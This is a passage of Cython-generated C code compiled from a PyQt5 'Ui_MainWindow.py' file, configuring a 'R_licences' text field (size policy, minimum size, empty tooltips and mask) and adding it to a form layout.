(unlikely(!__pyx_t_3)) __PYX_ERR(0, 296, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF_SET(__pyx_v_sizePolicy, __pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":297 * self.R_licences = QtWidgets.QLineEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.R_licences.sizePolicy().hasHeightForWidth()) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHorizontalStretch); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 297, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__176, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 297, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":298 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.R_licences.sizePolicy().hasHeightForWidth()) * self.R_licences.setSizePolicy(sizePolicy) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setVerticalStretch); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 298, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__177, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 298, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":299 * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.R_licences.sizePolicy().hasHeightForWidth()) # <<<<<<<<<<<<<< * self.R_licences.setSizePolicy(sizePolicy) * self.R_licences.setMinimumSize(QtCore.QSize(420, 0)) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHeightForWidth); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 299, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_licences); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 299, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_sizePolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 299, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_1) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 299, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 299, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_hasHeightForWidth); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 299, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_2) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 299, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 299, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 299, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 299, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 299, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 299, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 299, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":300 * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.R_licences.sizePolicy().hasHeightForWidth()) * self.R_licences.setSizePolicy(sizePolicy) # <<<<<<<<<<<<<< * self.R_licences.setMinimumSize(QtCore.QSize(420, 0)) * self.R_licences.setToolTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_licences); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 300, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setSizePolicy); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 300, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_7) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_v_sizePolicy); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 300, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_v_sizePolicy}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 300, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_v_sizePolicy}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 300, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 300, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_INCREF(__pyx_v_sizePolicy); __Pyx_GIVEREF(__pyx_v_sizePolicy); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_v_sizePolicy); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 300, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":301 * sizePolicy.setHeightForWidth(self.R_licences.sizePolicy().hasHeightForWidth()) * self.R_licences.setSizePolicy(sizePolicy) * self.R_licences.setMinimumSize(QtCore.QSize(420, 0)) # <<<<<<<<<<<<<< * self.R_licences.setToolTip("") * self.R_licences.setStatusTip("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_licences); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 301, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setMinimumSize); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 301, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 301, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QSize); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 301, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__178, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 301, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_7) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 301, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 301, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 301, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 301, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 301, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":302 * self.R_licences.setSizePolicy(sizePolicy) * self.R_licences.setMinimumSize(QtCore.QSize(420, 0)) * self.R_licences.setToolTip("") # <<<<<<<<<<<<<< * self.R_licences.setStatusTip("") * self.R_licences.setAccessibleName("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_licences); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 302, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 302, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__179, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 302, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":303 * self.R_licences.setMinimumSize(QtCore.QSize(420, 0)) * self.R_licences.setToolTip("") * self.R_licences.setStatusTip("") # <<<<<<<<<<<<<< * self.R_licences.setAccessibleName("") * self.R_licences.setAccessibleDescription("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_licences); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 303, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 303, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__180, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 303, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":304 * self.R_licences.setToolTip("") * self.R_licences.setStatusTip("") * self.R_licences.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_licences.setAccessibleDescription("") * self.R_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_licences); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 304, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 304, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__181, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 304, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":305 * self.R_licences.setStatusTip("") * self.R_licences.setAccessibleName("") * self.R_licences.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) * self.R_licences.setInputMask("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_licences); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 305, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 305, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__182, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 305, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":306 * self.R_licences.setAccessibleName("") * self.R_licences.setAccessibleDescription("") * self.R_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) # <<<<<<<<<<<<<< * self.R_licences.setInputMask("") * self.R_licences.setText("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_licences); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 306, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setInputMethodHints); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 306, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 306, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Qt); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 306, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_ImhMultiLine); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 306, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 306, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 306, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 306, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 306, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 306, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":307 * self.R_licences.setAccessibleDescription("") * self.R_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) * self.R_licences.setInputMask("") # <<<<<<<<<<<<<< * self.R_licences.setText("") * self.R_licences.setObjectName("R_licences") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_licences); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 307, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setInputMask); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 307, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__183, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 307, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":308 * self.R_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) * self.R_licences.setInputMask("") * self.R_licences.setText("") # <<<<<<<<<<<<<< * self.R_licences.setObjectName("R_licences") * self.formLayout.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.R_licences) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_licences); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 308, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 308, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__184, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 308, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":309 * self.R_licences.setInputMask("") * self.R_licences.setText("") * self.R_licences.setObjectName("R_licences") # <<<<<<<<<<<<<< * self.formLayout.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.R_licences) * spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_licences); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 309, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 309, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__185, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 309, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":310 * self.R_licences.setText("") * self.R_licences.setObjectName("R_licences") * self.formLayout.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.R_licences) # <<<<<<<<<<<<<< * spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) * self.formLayout.setItem(25, QtWidgets.QFormLayout.SpanningRole, spacerItem) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 310, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 310, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 310, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 310, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; 